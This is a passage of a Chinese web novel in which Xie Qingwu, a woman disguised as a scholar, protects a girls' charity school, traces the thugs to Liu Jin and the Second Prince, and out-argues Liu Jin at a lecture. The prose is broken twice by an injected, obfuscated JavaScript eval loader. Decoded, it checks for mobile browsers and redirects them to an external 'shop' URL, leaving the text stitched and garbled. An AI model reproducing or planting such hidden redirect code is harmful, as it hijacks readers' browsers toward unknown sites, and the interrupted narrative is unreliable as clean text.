她说着,真的往前走了一步。那几个混混反倒往后退了退。 苏静姝见状,也鼓起勇气道:“街坊们都看着呢!你们刚才说的话,做的事,大家都听见了看见了!真要闹到官府,你们逃不掉!” 周围看热闹的路人里,有人小声附和:“就是,欺负小孩子,算什么本事。” 王癞子见势不妙,咬牙瞪了谢青梧一眼:“行,算你狠。我们走!” 几个人悻悻地走了。走出几步,王癞子回头撂下一句:“小子,你等着。” 谢青梧没理他,转身对苏静姝道:“让孩子们先回家,今天下午的课暂停。” “好,好。”苏静姝连忙安排女学生们离开。等孩子们都走了,她才松口气,感激地看着谢青梧:“谢公子,今天多亏你了。” “应该的。”谢青梧说,“这些人不会善罢甘休,最近小心些。按我们之前商量的,分散上课,结伴回家。” “我明白。”苏静姝点头,又忧虑道,“只是他们若再来……” “再来再说。”谢青梧看着那些人离开的方向,“我会想办法。” 她没在慈济堂多留,交代了几句便离开了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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刘瑾背后有二皇子,不能硬来。但也不能放任他继续使坏。 得用巧劲。 她想起过几日国子监有场公开讲学,刘瑾作为祭酒外甥,肯定会去。或许…… 一个念头慢慢成形。 敌来犯,那就还击。 58.顺藤摸瓜 从春风阁回来的第二天,谢青梧就找了老何。 老何还是那副绸缎庄掌柜的模样,听她说完慈济堂的事,点点头:“公子放心,查人这种事,小人有些门路。” “要快。”谢青梧说,“但也要小心,别打草惊蛇。” “小人明白。” 老何办事确实利索。不过两天,就有了消息。 这天谢青梧从翰林院散值回来,老何已经在住处等她了。李婶上了茶,退出去守着门。 “查清楚了。”老何压低声音,“那个王癞子,前阵子常去城西一家赌场。那赌场明面上是个姓赵的开的,实际上背后是刘瑾一个远房表哥。” 谢青梧端着茶杯的手顿了顿:“刘瑾?” “是。”老何点头,“小人顺着这条线摸下去,发现王癞子那几个人,最近手头阔绰了不少。赌场里有人看见,刘瑾那个表哥给过他们银子。” “多少?” “一次二十两,一共给了两次。”老何说,“时间就在慈济堂出事前几天。” 谢青梧放下茶杯。四十两银子,对刘瑾来说不算什么,但够王癞子那种人卖命了。 “还有,”老何继续说,“小人打听到,刘瑾最近和二皇子府上一个管事走得很近。那管事前些日子还去过赌场,见了刘瑾的表哥。” 线索都连上了。 刘瑾出钱,找他表哥安排人,让王癞子去慈济堂闹事。背后,是二皇子党的意思。 “他们想干什么?”谢青梧轻声问,像在问老何,也像在问自己。 “依小人看,这是警告。”老何说,“公子如今是会元,是翰林院庶吉士,又在公主支持下办女学。二皇子那边,肯定把公子看成公主一党的人。他们不敢明着动公子,就找女学下手。一来警告公子别太出头,二来也是试探公子的反应。” 谢青梧沉默片刻,点点头。 老何说得对。这是试探,也是警告。 如果她怕了,退缩了,停了女学,那他们就达到目的了。以后会更得寸进尺。 如果她硬碰硬,闹大了,他们也有话说——不过是地痞闹事,与她谢怀瑾何干? 进退都是坑。 “公子打算怎么办?”老何问。 “既然知道是谁,就不难办。”谢青梧说,“刘瑾想玩阴的,我陪他玩。但得换个玩法。” 她让老何继续盯着赌场那边,有什么动静随时来报。老何应下,告辞走了。 屋里只剩谢青梧一人。她走到窗边,看着外面的夜色。 刘瑾……这个人,从她进国子监开始,就处处跟她过不去。秋闱时刁难,会试时陷害,现在又对女学下手。 真当她是软柿子? 她想起过几日国子监那场公开讲学。刘瑾作为祭酒外甥,肯定会去。到时候…… 一个计划慢慢在心里成形。 不急。 先让他得意几天。 她关上门,吹灭灯。 黑暗中,眼睛很亮。 --- 次日,谢青梧照常去翰林院。 陈翰林让她继续整理前朝旧档。她沉下心来,一本本翻阅,一字字抄录。动作不疾不徐,心里却想着别的事。 散值时,遇见孙庶吉士。两人一起往外走,孙庶吉士低声问:“听说慈济堂前几日出了点事?” 消息传得真快。 谢青梧面色如常:“几个地痞闹事,已经解决了。” “那就好。”孙庶吉士看她一眼,“不过谢兄,你现在是翰林院的人,又是公主看重的人,多少人盯着呢。慈济堂那种地方,能少去还是少去。” “多谢孙兄提醒。”谢青梧点头,“不过慈济堂是公主的善举,我既然参与了,就得负责到底。” 孙庶吉士叹口气:“我知道你心善。只是这京城里,心善未必有好报。你自己小心吧。” 两人在岔路口分开。谢青梧独自往回走,心里明白孙庶吉士是好意。 但她不能退。 退了第一步,就会有第二步,第三步。直到退无可退。 回到住处,李婶已经备好晚饭。吃饭时,李婶小心翼翼地问:“公子,慈济堂那边……真没事了?” “暂时没事。”谢青梧说,“李婶放心,我能处理。” 李婶点点头,没再多问,但眼里都是担忧。 吃完饭,谢青梧回到屋里。点上灯,铺开纸,开始写东西。 不是整理旧档,也不是写文章。而是一份名单。 刘瑾,刘瑾的表哥,赌场的赵老板,王癞子,还有二皇子府上那个管事。 一个个名字写下来,旁边注上关系,时间,事件。 写完了,她看着这份名单,心里更清楚了。 刘瑾是刀子,二皇子是握刀的手。王癞子这种人,不过是刀尖上的一点锈。 要对付,不能只擦锈,得想办法让握刀的手松一松。 但直接动二皇子,她现在还没那个能力。 那就先动刀子。 她吹灭灯,躺到床上。 脑子里一遍遍过那个计划。 国子监讲学,是个好机会。 --- 过了几日,国子监那场讲学果然来了。 地点在国子监明伦堂,主讲的是沈祭酒。京里有头有脸的学子都来了,翰林院一些年轻官员也来听。谢青梧作为新科会元,坐在前排。 刘瑾果然来了,坐在另一边,身边围着几个跟班。看见谢青梧,他嘴角扯了扯,眼神不善。 谢青梧只当没看见,专心听讲。 沈祭酒讲的是《礼记》,引经据典,深入浅出。讲到一半,停下来问:“可有疑问?” 堂下一片安静。这种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17031189|193012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 场合,没人敢轻易提问。 刘瑾却忽然举手:“学生有一问。” 沈祭酒看向他:“讲。” “《礼记》有言,‘男女有别’。学生不解,如今有些地方,让女子抛头露面,甚至聚众读书,这算不算违背礼法?” 这话一出,堂下响起低低的议论声。不少人都看向谢青梧——谁不知道慈济堂女学是她和公主办的。 沈祭酒皱眉:“刘瑾,今日讲学,只论经义,不论时事。” “学生正是论经义。”刘瑾站起来,声音更大了,“礼法乃治国之本。若人人都不守礼法,天下岂不乱套?女子就该安守内宅,相夫教子。如今有人打着行善之名,行违礼之实,难道不该指出来吗?” 这话已经是明指了。 堂下更静了。所有人都看着谢青梧,看她怎么回应。 谢青梧慢慢站起身。 “刘公子说得对,礼法重要。”她声音平静,“但《礼记》也言,‘大道之行也,天下为公’。又言,‘老有所终,壮有所用,幼有所长’。依刘公子之见,天下女子,算不算‘天下’的一部分?女子中的老者、幼者,该不该‘有所终’‘有所长’?” 刘瑾噎了一下:“那……那也不能违背男女有别!” “慈济堂女学,教的是识字明理,是持家之道。”谢青梧看着他,“让女子识字,明理,持家,是为了让她们更好地相夫教子,这算不算守礼?还是说,刘公子认为,女子愚昧无知,才叫守礼?” 堂下有人低低笑起来。 刘瑾脸涨红了:“你……你这是强词夺理!” “是不是强词夺理,大家可以评判。”谢青梧转向沈祭酒,“祭酒大人,学生以为,读经不能只读字句,要领会精神。礼法的本意,是让天下有序,让人各得其所。若拘泥字句,不顾实际,反而是舍本逐末。” 沈祭酒看着他们两人,沉默片刻,缓缓道:“谢怀瑾说得有理。刘瑾,你坐下吧。今日讲学,到此为止。” 讲学散了。学子们往外走,还在议论刚才的事。不少人看向谢青梧的眼神,多了几分佩服。 刘瑾狠狠瞪了她一眼,带着跟班走了。 谢青梧慢慢收拾东西,神色如常。 这只是开始。 她走出明伦堂,阳光很好,照在身上暖洋洋的。 心里却很清楚,刘瑾不会罢休。 那就来吧。 她不怕。 --- 当晚,云知意传来消息:刘瑾在赌场发了火,骂他表哥办事不力。 谢青梧听了,只笑了笑。 让他骂吧。 好戏还在后头。 她吹灭灯,躺下。 窗外的夜色,很安静。 但安静之下,暗流涌动。 她知道。 她也准备好了。